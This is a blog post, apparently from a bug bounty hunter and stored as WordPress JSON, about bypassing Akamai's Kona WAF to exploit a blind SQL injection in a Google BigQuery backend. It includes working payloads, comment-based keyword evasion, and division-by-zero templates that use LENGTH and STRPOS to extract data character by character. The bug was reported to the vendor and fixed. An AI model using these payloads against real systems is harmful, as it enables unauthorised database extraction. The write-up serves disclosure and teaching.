{"id":72,"date":"2020-03-31T16:52:04","date_gmt":"2020-03-31T16:52:04","guid":{"rendered":"https:\/\/hackemall.live\/?p=72"},"modified":"2020-06-15T01:01:03","modified_gmt":"2020-06-15T01:01:03","slug":"akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability","status":"publish","type":"post","link":"https:\/\/hackemall.live\/index.php\/2020\/03\/31\/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability\/","title":{"rendered":"Akamai Web Application Firewall Bypass Journey: Exploiting \u201cGoogle BigQuery\u201d SQL Injection Vulnerability"},"content":{"rendered":"\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"755\" height=\"504\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/wafwtf.png\" alt=\"\" class=\"wp-image-133\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/wafwtf.png 755w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/wafwtf-300x200.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/wafwtf-750x501.png 750w\" sizes=\"(max-width: 755px) 100vw, 755px\" \/><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">Hi guys, long time no write.<br>As some previous articles in my <a href=\"http:\/\/www.ducnt.net\/\">blog<\/a> only focus on CTF writeups, so in this time and maybe the next time, I want to write another topic about my research also doing bug bounty hunter.<br>So as the topic name above, in this time I will write about my experience when bypass the popular web application firewall (WAF) of akamai technologies company aka. Kona WAF and exploit a SQL injection vulnerability.<\/p>\n\n\n\n<h2 class=\"has-text-color wp-block-heading\" style=\"color:#e21818\"><strong>0x01: The Stumble Upon.<\/strong><\/h2>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">Last weekend, I was invited to a private program on <a href=\"https:\/\/hackerone.com\/\">hackerone<\/a>, and yes for the private info as usually, I will call that program is: <strong>0x1337.space<\/strong> program.<br>Actually, I quickly navigate to the scope section also the thanks page for looking the basic info. The program has a large scope: <strong>*. 0x1337.space<\/strong> and launched for a long time ago. At the thanks page:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1441\" height=\"635\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/thanks.png\" alt=\"\" class=\"wp-image-134\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/thanks.png 1441w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/thanks-300x132.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/thanks-1024x451.png 1024w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/thanks-768x338.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/thanks-750x330.png 750w\" sizes=\"(max-width: 1441px) 100vw, 1441px\" \/><figcaption>Thanks page of program. So <strong><code>clear verify<\/code><\/strong> much wow :doge:<\/figcaption><\/figure>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">So many &#8220;big&#8221; bros with average reputation from 2000 \ud83d\ude41. When you was invited to a private program, you think &#8220;oh my time, I will find more bug, more bounty, that ez than public program \ud83d\udcb0&#8221;. You should rethink about that.<br><\/p>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">And yes as usually, when wating the report from medusa-v1.0  \ud83d\udc0d\ud83d\udd75\ud83c\udffc\u200d\u2640\ufe0f\ud83d\udc0d (my bug bounty hunter tool), I poked around the main domain (homepage).<br>The page opened with so much function, endpoint \u2026etc\u2026 After working around with the burpsuite requests \/ responses, I noticed that there is a problem at a POST parameter. So in my article, I will call it with the name is: <strong>\u201clocation\u201d<\/strong>.<br>Basically, the server don\u2019t sanitize user input in the location parameter, so the exception appear as below image.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/exception.png\" alt=\"\" class=\"wp-image-135\" width=\"1178\" height=\"443\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/exception.png 1571w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/exception-300x113.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/exception-1024x385.png 1024w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/exception-768x289.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/exception-1536x578.png 1536w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/exception-750x282.png 750w\" sizes=\"(max-width: 1178px) 100vw, 1178px\" \/><figcaption>Exception<\/figcaption><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">The crafted request I used simply:<\/p>\n\n\n\n<pre class=\"wp-block-verse\">POST \/vulnerable-endpoint\/ HTTP\/1.1<br>Host: 0x1337.space<br>\u2026<br><br><strong>location=abcd1337\"<\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">As you can see at above image, the server response SQL query exception with detail table name also the columns name. The info similar that:<\/p>\n\n\n\n<pre class=\"wp-block-verse\"><strong>select AAA,BBB,CCC,DDD from EEE where location=\\\"abcd1337\\\"\\\"\\n <\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">My friend named me with the nickname ducnt `SQL` and with all my experiences, I totally definitely this is a SQL injection vulnerability \u0ca0\u25e1\u0ca0.<br>So, I quickly setup an automatic exploit with this parameter, made a coffee cup, draft a SQL injection report to the vendor, waiting the information extracted from automation tool and fill in, submit the report and get the bounty. Ez life, ez money.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/money.png\" alt=\"\" class=\"wp-image-136\" width=\"255\" height=\"255\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/money.png 509w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/money-300x300.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/money-150x150.png 150w\" sizes=\"(max-width: 255px) 100vw, 255px\" \/><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">But but \ud83d\ude25 \u2026<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1307\" height=\"639\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block1.png\" alt=\"\" class=\"wp-image-137\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block1.png 1307w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block1-300x147.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block1-1024x501.png 1024w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block1-768x375.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block1-750x367.png 750w\" sizes=\"(max-width: 1307px) 100vw, 1307px\" \/><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">WAFWTF &#8230; \ud83d\ude41<br>Not easy like that, after digging more about the 403 status code when exploit SQL injection vulnerability that prevent extract the info from the database. The payload I used is: <\/p>\n\n\n\n<pre class=\"wp-block-verse\"><strong>location=abcd1337\" union select 1--  <\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">and I stumble upon with:<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block2.png\" alt=\"\" class=\"wp-image-138\" width=\"1184\" height=\"460\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block2.png 1578w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block2-300x117.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block2-1024x398.png 1024w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block2-768x298.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block2-1536x597.png 1536w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/WAF-block2-750x291.png 750w\" sizes=\"(max-width: 1184px) 100vw, 1184px\" \/><figcaption>WAFWTF &#8230;<\/figcaption><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">So, I think, that is the reason why a vendor with a large scope launched for a long time ago also tested with so many &#8220;big&#8221; bros but this vulnerability still exist. However, as usually: challenges accepted.<\/p>\n\n\n\n<h2 class=\"has-text-color wp-block-heading\" style=\"color:#e21818\"><strong>0x02: Kona WAF Bypass &amp;&amp; Exploit A Blind SQL Injection Vulnerability.<\/strong><\/h2>\n\n\n\n<h2 class=\"has-text-color wp-block-heading\" style=\"color:#de7411\"><strong>Detect the Kona WAF\u2019s behavior.<\/strong><\/h2>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">First of all, I tried every bypass method was public on the internet for bypass Kona WAF but no one success. Below are some payload I tried.<\/p>\n\n\n\n<pre class=\"wp-block-verse\"><strong>' and sleep\/*<em>f*<\/em>\/(10) LIKE '3--<br>-abc)\/**\/OR\/**\/MID(CURRENT_USER,1,1)\/**\/LIKE\/**\/'a'\/**\/--<\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">I spent 1 day and try everything to find the way for bypass WAF but got nothing.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/bbhunterishard.png\" alt=\"\" class=\"wp-image-139\" width=\"475\" height=\"430\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/bbhunterishard.png 949w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/bbhunterishard-300x272.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/bbhunterishard-768x695.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/bbhunterishard-750x679.png 750w\" sizes=\"(max-width: 475px) 100vw, 475px\" \/><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">In the next day, when I revisited it and manual exploit SQL injection vulnerability in a filter \/ block \/ WAF \u2026 context, I try to detect which keyword, function was blocked also the behavior of them. From this I will find the way that can bypass, suitable with the context and find the payload that can extract the information from database.<br>To sum up the WAF\u2019s behavior:<\/p>\n\n\n\n<pre class=\"wp-block-verse\">Block keyword: <strong>union<\/strong>.\nBlock some function:<strong> sleep(), count()<\/strong> \u2026\nBlock some global variable: <strong>@@version<\/strong> \u2026\nBlock the combine of the query: <strong>select \u201cducnt\u201d is okay<\/strong>, but <em><code><s>select \"ducnt\" from<\/s><\/code><\/em> was blocked.\nNo <strong>mid()<\/strong>, <strong>ascii()<\/strong> function !?!, that really weird with a normal database like SQL or MySQL.  <\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/mid-not-found.png\" alt=\"\" class=\"wp-image-140\" width=\"1184\" height=\"461\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/mid-not-found.png 1579w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/mid-not-found-300x117.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/mid-not-found-1024x399.png 1024w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/mid-not-found-768x299.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/mid-not-found-1536x598.png 1536w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/mid-not-found-750x292.png 750w\" sizes=\"(max-width: 1184px) 100vw, 1184px\" \/><figcaption>Unidentified function error<\/figcaption><\/figure><\/div>\n\n\n\n<h2 class=\"has-text-color wp-block-heading\" style=\"color:#de7411\"><strong>When google bigquery meet the Kona WAF.<\/strong><\/h2>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">So with the info I collected above, I reviewed again the exception info.<\/p>\n\n\n\n<pre class=\"wp-block-verse\">\u201cINVALID_ARGUMENT: Syntax error: Unexpected identifier\u201d <\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">Sound familiar, from this info and <strong>\u201c500 Internal Server Error\u201d<\/strong> status code from server also the info of the WAF\u2019s behavior above. I going to a conclusion that the server using google bigquery, not MySQL also SQL Server.<br>For more information about the exception, you can find at: <a href=\"https:\/\/cloud.google.com\/spanner\/docs\/reference\/rest\/v1\/Code\"><strong>https:\/\/cloud.google.com\/spanner\/docs\/reference\/rest\/v1\/Code<\/strong><\/a><\/p>\n\n\n\n<h2 class=\"has-text-color wp-block-heading\" style=\"color:#de7411\"><strong>Kona WAF bypass: Exploiting a \u201cGoogle BigQuery\u201d blind sql injection vulnerability. <\/strong><\/h2>\n\n\n\n<p style=\"color:#be16df;font-size:23px\" class=\"has-text-color\"><strong>0: Preparation.<\/strong><\/p>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">As I mentioned above, the info of database exception similar that:<\/p>\n\n\n\n<pre class=\"wp-block-verse\"><strong>select AAA,BBB,CCC,DDD from EEE where location=\\\"abcd1337\\\"\\\"\\n <\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">So in below exploit, I will try to extract the value of the <strong>DDD <\/strong>column from <strong>EEE<\/strong> table.<br><br><strong>The silver bullet \u2604\ufe0f:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>Request:<\/strong>\n\nPOST \/vulnerable-endpoint\/ HTTP\/1.1\nHost: 0x1337.space\n\u2026\n<strong>location=ducnt1337\" OR if(1\/(length((select('a')))-1)=1,true,false) or \"a\"=\"b--<\/strong> <\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/devison-byzero.png\" alt=\"\" class=\"wp-image-141\" width=\"1193\" height=\"496\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/devison-byzero.png 1591w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/devison-byzero-300x125.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/devison-byzero-1024x425.png 1024w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/devison-byzero-768x319.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/devison-byzero-1536x638.png 1536w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/devison-byzero-750x312.png 750w\" sizes=\"(max-width: 1193px) 100vw, 1193px\" \/><figcaption> Division by zero for the win<\/figcaption><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">And yes, D\u00e9j\u00e0 vu.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/dejavu.png\" alt=\"\" class=\"wp-image-142\" width=\"423\" height=\"309\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/dejavu.png 845w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/dejavu-300x219.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/dejavu-768x561.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/dejavu-750x548.png 750w\" sizes=\"(max-width: 423px) 100vw, 423px\" \/><figcaption>D\u00e9j\u00e0 vu<\/figcaption><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">I was write up a CTF web challenge by abuse this division by zero error in 2017, you can check it out: <a href=\"http:\/\/www.ducnt.net\/2017\/09\/dzut-co-hon-phong-cach-ctf-web.html\"><strong>http:\/\/www.ducnt.net\/2017\/09\/dzut-co-hon-phong-cach-ctf-web.html<\/strong><\/a><\/p>\n\n\n\n<p style=\"color:#be16df;font-size:23px\" class=\"has-text-color\"><strong>1: The concept.<\/strong><\/p>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">First of all, I abuse the <strong>length function <\/strong>of google big query also the <strong>division by zero <\/strong>for detect the <strong>true \/ false<\/strong> (blind SQL injection) signature. Below is the concept.<br>The payload I used to find the length of a string is:<\/p>\n\n\n\n<pre class=\"wp-block-verse\"><strong>location=ducnt1337\" OR if(1\/(length((select(\"ducnt\")))-5)=1,true,false) or \"a\"=\"b--<\/strong><br><br>In the google bigquery will be: <br><strong>select AAA,BBB,CCC,DDD from EEE where location=\"ducnt1337\" OR if(1\/(length((select(\"ducnt\")))-5)=1,true,false) or \"a\"=\"b--<\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">Payload explain: If the length of the string <strong>ducnt <\/strong>(length = 5) minus 5, the result will be <strong>1\/0<\/strong> and lead to division by zero error exception from database. Change the value after the minus math operation if you want to blind the length of value in column.<br>So base on the concept of this, I can extract the value of the columns from database.<\/p>\n\n\n\n<p style=\"color:#be16df;font-size:23px\" class=\"has-text-color\"><strong>2: Exploit.<\/strong><\/p>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">In below exploit, I try to extract the value of the <strong>DDD <\/strong>column from <strong>EEE<\/strong> table in database.<br>So first of all, I will try to find the length of the value from <strong>DDD <\/strong>column (at <strong>limit 1 position<\/strong>).<br><br>a) Blind the length of the value from <strong>DDD <\/strong>column at the limit 1 position.<br>The payload:<\/p>\n\n\n\n<pre class=\"wp-block-verse\"><strong>location=ducnt1337\" OR if(1\/(length((select\/**\/DDD\/**\/limit\/**\/1))-$<em>BLIND_LENGTH_HERE<\/em>$)=1,true,false) or \"a\"=\"b--<\/strong><br><br>In the google bigquery will be:<br><strong>select AAA,BBB,CCC,DDD from EEE where location=\"ducnt1337\" OR if(1\/(length((select\/**\/DDD\/**\/limit\/**\/1))-$<em>BLIND_LENGTH_HERE<\/em>$)=1,true,false) or \"a\"=\"b-- <\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">As you can see, if the length of the value from <strong>DDD <\/strong>column at the limit 1 position equal with the value <strong>$<em>BLIND_LENGTH_HERE<\/em>$<\/strong>, division by zero error exception will appear.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/length-DDD-columns1.png\" alt=\"\" class=\"wp-image-143\" width=\"809\" height=\"569\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/length-DDD-columns1.png 1079w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/length-DDD-columns1-300x211.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/length-DDD-columns1-1024x720.png 1024w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/length-DDD-columns1-768x540.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/length-DDD-columns1-750x528.png 750w\" sizes=\"(max-width: 809px) 100vw, 809px\" \/><figcaption>Length of the value was blinded equal 6<\/figcaption><\/figure><\/div>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">So after the exploit, going to a conclusion that the length of the value from <strong>DDD<\/strong> column at limit 1 position <strong>equal 6<\/strong>.<br><br>b) Blind the value from <strong>DDD <\/strong>column at the limit 1 position.<br>To extract the value from the <strong>DDD <\/strong>column. I use <strong>STRPOS <\/strong>function of the google bigquery ( REF: <a href=\"https:\/\/cloud.google.com\/bigquery\/docs\/reference\/standard-sql\/string_functions\"><strong>https:\/\/cloud.google.com\/bigquery\/docs\/reference\/standard-sql\/string_functions<\/strong><\/a> ) (ft) with division by zero error exception from the (1) and can extract the value from <strong>DDD <\/strong>column.<br>The payload: <\/p>\n\n\n\n<pre class=\"wp-block-verse\"><strong>location=ducnt\" OR if(1\/(STRPOS((select\/**\/DDD\/**\/limit\/**\/1),\"$<em>BLIND_STRING_HERE<\/em>$\"))=1,true,false) or \"a\"=\"b--<\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">Let me explain the payload: In the $<strong><em>BLIND_STRING_HERE<\/em><\/strong>$ will be a single string you want to blind. The <strong>STRPOS <\/strong>function <em>will return the 1-based index of the first occurrence of substring inside string, returns 0 if substring is not found.<\/em><br><br>For example. If the string <strong><em>a<\/em><\/strong> exists in the value from the <strong>DDD <\/strong>column, the value return from <strong>STRPOS <\/strong>function will not <strong>equal 0<\/strong>. So the content of the page will response (not the division by zero signature).<br><br>The next step is determined the string <strong><em>a<\/em><\/strong> was blinded locate at which position from the value. Simply add the minus  math operation outside the query.<br>The payload: <\/p>\n\n\n\n<pre class=\"wp-block-verse\"><strong>location=ducnt\" OR if(1\/(STRPOS((select\/**\/DDD\/**\/limit\/**\/1),\"a\")-$<em>BLIND_THE_POSITION_HERE<\/em>$)=1,true,false) or \"a\"=\"b--<\/strong><\/pre>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">Basically, the string <strong><em>a<\/em><\/strong> from the value of the <strong>DDD <\/strong>column start at <strong>1st position<\/strong>, result of the <strong>STRPOS <\/strong>minus math operation will <strong>equal <\/strong>with the $<strong><em>BLIND_THE_POSITION_HERE<\/em><\/strong>$ if the division by zero signature appear. If not, the string <strong><em>a<\/em><\/strong> not locate at <strong>1st position<\/strong> from the value of the <strong>DDD <\/strong>column.<br><br>So in this context, I extracted the value of the first position from the <strong>DDD <\/strong>value is <strong><em>a<\/em><\/strong> character. Repeat the process to blind all of the value. (<strong>remember the length = 6<\/strong>)<br><br>c) PoC:<br>After the exploit, I can extract the value from <strong>DDD <\/strong>column at the limit 1 position and the value was: <strong>active<\/strong><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/PoC.png\" alt=\"\" class=\"wp-image-144\" width=\"865\" height=\"350\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/PoC.png 1153w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/PoC-300x122.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/PoC-1024x415.png 1024w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/PoC-768x311.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/PoC-750x304.png 750w\" sizes=\"(max-width: 865px) 100vw, 865px\" \/><figcaption>Bypass Kona WAF and extract info from database via SQL injection vulnerability successfully.<\/figcaption><\/figure><\/div>\n\n\n\n<h2 class=\"has-text-color wp-block-heading\" style=\"color:#e21818\"><strong>0x03: Response from the vendor and my thought.<\/strong><\/h2>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">From the vendor:<br>Vendor confirmed the vulnerability also the WAF bypass  exploit and bounty in the same day, the patch was released into the next day. Kudos to them for a working hard and very quickly response, I really appreciate it.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/from-the-vendor.png\" alt=\"\" class=\"wp-image-159\" width=\"584\" height=\"77\" srcset=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/from-the-vendor.png 778w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/from-the-vendor-300x39.png 300w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/from-the-vendor-768x101.png 768w, https:\/\/hackemall.live\/wp-content\/uploads\/2020\/04\/from-the-vendor-750x98.png 750w\" sizes=\"(max-width: 584px) 100vw, 584px\" \/><figcaption>Vendor&#8217;s response<\/figcaption><\/figure>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\">Finally, kudos to my master with very strong techniques advised: <a href=\"https:\/\/twitter.com\/xchym\"><strong>g4mm4<\/strong><\/a>  <img loading=\"lazy\" decoding=\"async\" width=\"39\" height=\"39\" class=\"wp-image-145\" style=\"width: 39px;\" src=\"https:\/\/hackemall.live\/wp-content\/uploads\/2020\/03\/anhthinh.png\" alt=\"\"> for helping me in the journey.<\/p>\n\n\n\n<p style=\"color:#0679e5;font-size:23px\" class=\"has-text-color\"><strong>Take away:<\/strong><\/p>\n\n\n\n<p style=\"color:#f32929;font-size:18px\" class=\"has-text-color\"><strong>Red team<\/strong>: Don&#8217;t give up, keep digging and you will find something.<\/p>\n\n\n\n<p style=\"color:#0679e5;font-size:18px\" class=\"has-text-color\"><strong>Blue team<\/strong>: Notice about every weirdly exception also the HTTP error status code. Everything has its reason. <\/p>\n\n\n\n<p style=\"color:#3a21d8;font-size:18px\" class=\"has-text-color\"><strong>WAF seller \/ consultant \/ farmer:    \u00af_(\u30c4)_\/\u00af<\/strong><\/p>\n\n\n\n<p style=\"font-size:18px\" class=\"has-text-color has-very-dark-gray-color\"><strong>Thanks for reading and as usually, sorry for my bad engrisk <\/strong>\ud83d\ude06<strong>. (TOEIC 900) <br>~Cheers,<br><a href=\"https:\/\/twitter.com\/ducnt_\">ducnt<\/a><\/strong><\/p>\n\n\n\n<p style=\"color:#0071a1;font-size:22px\" class=\"has-text-color\"><strong>References<\/strong>:<\/p>\n\n\n\n<ul><li><a href=\"https:\/\/cloud.google.com\/bigquery\/docs\/reference\/standard-sql\/string_functions\">https:\/\/cloud.google.com\/bigquery\/docs\/reference\/standard-sql\/string_functions<\/a><\/li><li><a href=\"https:\/\/cloud.google.com\/spanner\/docs\/reference\/rest\/v1\/Code\">https:\/\/cloud.google.com\/spanner\/docs\/reference\/rest\/v1\/Code<\/a><\/li><li><a href=\"https:\/\/twitter.com\/gerben_javado\/status\/940220078947291137\">https:\/\/twitter.com\/gerben_javado\/status\/940220078947291137<\/a><\/li><li><a href=\"https:\/\/security.stackexchange.com\/questions\/201653\/sql-injection-bypass-against-konaakmai-waf\">https:\/\/security.stackexchange.com\/questions\/201653\/sql-injection-bypass-against-konaakmai-waf<\/a><\/li><li><a href=\"https:\/\/github.com\/EdOverflow\/bugbounty-cheatsheet\/blob\/master\/cheatsheets\/sqli.md\">https:\/\/github.com\/EdOverflow\/bugbounty-cheatsheet\/blob\/master\/cheatsheets\/sqli.md<\/a><\/li><li><a href=\"http:\/\/www.ducnt.net\/2017\/09\/dzut-co-hon-phong-cach-ctf-web.html\">http:\/\/www.ducnt.net\/2017\/09\/dzut-co-hon-phong-cach-ctf-web.html<\/a> <\/li><\/ul>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hi guys, long time no write.As some previous articles in my blog only focus on CTF writeups, so in this time and maybe the next time, I want to write another topic about my research also doing bug bounty hunter.So as the topic name above, in this time I will write about my experience when [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":87,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,8,9,3,5],"tags":[],"_links":{"self":[{"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/posts\/72"}],"collection":[{"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/comments?post=72"}],"version-history":[{"count":70,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/posts\/72\/revisions"}],"predecessor-version":[{"id":886,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/posts\/72\/revisions\/886"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/media\/87"}],"wp:attachment":[{"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/media?parent=72"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/categories?post=72"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackemall.live\/index.php\/wp-json\/wp\/v2\/tags?post=72"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true